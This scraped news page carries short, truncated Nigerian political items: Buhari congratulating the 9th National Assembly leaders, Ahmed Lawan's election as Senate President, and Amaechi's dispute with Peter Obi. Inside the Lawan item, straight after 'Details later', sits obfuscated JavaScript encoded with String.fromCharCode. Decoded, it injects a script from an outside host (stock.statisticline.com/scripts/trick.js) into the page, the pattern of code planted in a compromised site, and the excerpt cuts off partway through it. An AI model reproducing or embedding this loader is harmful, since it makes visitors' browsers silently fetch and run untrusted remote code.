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Buhari Congratulates New National Assembly Presiding Officers
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Buhari Congratulates New National Assembly Presiding Officers

By Frank Momoh President Muhammadu Buhari, on Tuesday congratulated the newly elected presiding officers of the 9th National Assembly (NASS). The President also saluted all the national legislators and their political parties for their display of patriotism and non-partisanship before and during the election. He commends the transparent and fair nature of the voting process, adjudging it as a plus for the democracy in the country. President Buhari, according to Mr. Femi Adesina, describes the emergence of the new leaders of the legislative branch of government as “a new dawn, different from duplicity and perfidy of the immediate past.” The President charges the winners to use their exalted positions for the higher interest of the country, her people, and for the growth of democracy. Accord...
Ahmed Lawan is Senate President
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Ahmed Lawan is Senate President

Senator Ahmed Lawan representing Yobe North has been elected President of the Senate with 79 vtes to defeat his only rival, Senator Ali Ndume from Borno South who scored 28 votes. Details latervar z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123...
Amaechi Tackles Obi over Igbo Presidency in 2023
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Amaechi Tackles Obi over Igbo Presidency in 2023

By Frank Momoh The Minister of Transportation, Mr. Rotimi Amaechi has lashed out at the Vice Presidential Candidate of the Peoples Democratic Party (PDP) Mr. Peter Obi for saying that he (Amaechi) is not politically relevant to discuss whether Igbos should have the Presidency in 2023 or not. Amaechi, who was quoted by his media team Mr. David Iyofor, in a statement, made available to SHARPEDGENews, spoke on the sidelines, at an Interactive forum of Maritime Stakeholders in Lagos, on Tuesday, said the former Anambra State Governor does not have the credibility to speak on the matter because he could not win the Presidential election. According to Amaechi, "Peter Obi said I'm not an Igbo man and that I don't have the locus to discuss whether Igbo Presidency will be or not in 2023. That comme...